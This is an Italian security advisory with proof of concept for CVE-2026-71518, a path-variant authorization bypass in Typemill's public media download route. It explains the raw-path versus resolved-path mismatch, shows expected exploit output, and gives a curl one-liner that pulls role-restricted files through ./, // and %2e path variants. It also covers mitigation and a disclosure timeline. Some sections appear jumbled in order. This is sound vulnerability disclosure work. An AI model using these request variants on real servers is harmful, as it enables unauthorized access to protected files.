
Advisory e PoC per un bypass di autorizzazione non autenticato nei download dei media di Typemill, utilizzando varianti URL equivalenti in termini di percorso per accedere a file protetti da ruoli.
La restrizione è basata sul percorso grezzo della richiesta; il file viene letto dal percorso risolto dal sistema operativo — i due non coincidono
In sintesi · Sommario · Causa principale · Catena di attacco · Exploit · Mitigazione · Cronologia
Typemill consente a un amministratore di limitare singoli file multimediali a uno
specifico ruolo utente tramite media/files/filerestrictions.yaml. La rotta
pubblica di download dovrebbe onorare tale restrizione — ma verifica la
restrizione sul percorso grezzo della richiesta mentre serve i byte dal
percorso risolto dal filesystem. Poiché lo stesso file ha molte grafie
equivalenti a livello di percorso (./name, //name, %2e/name), un attaccante
sceglie una variante che non corrisponde alla chiave di restrizione ma che
risolve comunque allo stesso file su disco.
La rotta non presenta alcun middleware di autenticazione, quindi il risultato è un download completamente non autenticato di file che erano stati esplicitamente bloccati per un ruolo.
La rotta di download è pubblica — non c'è alcun middleware di autenticazione:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
All'interno di system/typemill/Controllers/ControllerWebDownload.php, la
decisione di controllo degli accessi e la lettura del file usano due
rappresentazioni diverse dello stesso percorso:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() rifiuta solo la sequenza letterale .. — non normalizza ./ o
// e non rifiuta gli equivalenti codificati in percentuale. Così la chiave di
restrizione e il file che viene effettivamente letto non sono più allineati:
Il bug è il classico schema "decisione di autorizzazione e accesso alla risorsa
basati su stringhe diverse e controllabili dall'attaccante" (CWE-639/CWE-863).
Anche sotto Apache $_SERVER['REQUEST_URI'] rimane grezzo, quindi non è
specifico del server.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]
filerestrictions.yaml.exploit/exploit.py riproduce il problema end-to-end
contro un container di test locale. Lo script (1) fa sì che l'"admin" pubblichi
un file privato limitato al ruolo editor, (2) conferma che l'URL canonico è
bloccato per un utente anonimo, quindi (3) scarica lo stesso file tramite
ogni variante equivalente a livello di percorso.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
Output previsto:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
One-liner contro qualsiasi host vulnerabile (solo test autorizzati):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() e verificare che il file sia
contenuto nella directory base dei media prima della lettura, oltre a rifiutare
i separatori di percorso codificati in percentuale.| Data | Evento |
|---|---|
| 2026-08-04 | Vulnerabilità scoperta in Typemill 2.25.0; PoC verificato end-to-end su Docker |
| 2026-08-04 | Segnalata al mantenitore / a VulnCheck |
Solo per test di sicurezza autorizzati e uso didattico. © @IlhomjonR
| CVE ID | CVE-2026-71518 |
| Prodotto | typemill/typemill — Typemill (CMS PHP flat-file, Slim 4) |
| Versioni interessate | tutte le versioni < 2.26.0 (verificata su 2.25.0, commit 8f3901c) |
| Corretta in | 2.26.0 |
| Debolezza | CWE-863 (Incorrect Authorization) · CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS v3.1 | 7.5 — High · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — High |
| Vettore | Rete · nessuna autenticazione · nessuna interazione con l'utente |
| Impatto | Download non autenticato di file multimediali che un amministratore ha limitato a un ruolo privilegiato |
| Ricercatore | Ilhomjon Rustamov (@IlhomjonR) |
| Percorso della richiesta | Chiave di restrizione corrispondente? | File risolto su disco | Esito |
|---|
/media/files/secret.pdf | ✅ sì | secret.pdf | 🔒 bloccato (302 → login) |
/media/files/./secret.pdf | ❌ no | secret.pdf | 🟢 servito (200) |
/media/files//secret.pdf | ❌ no | secret.pdf | 🟢 servito (200) |
/media/files/%2e/secret.pdf | ❌ no | secret.pdf | 🟢 servito (200) |
| — |
| Corretta in Typemill 2.26.0 |
| 2026-08-18 | CVE-2026-71518 pubblicata; advisory + PoC rilasciati |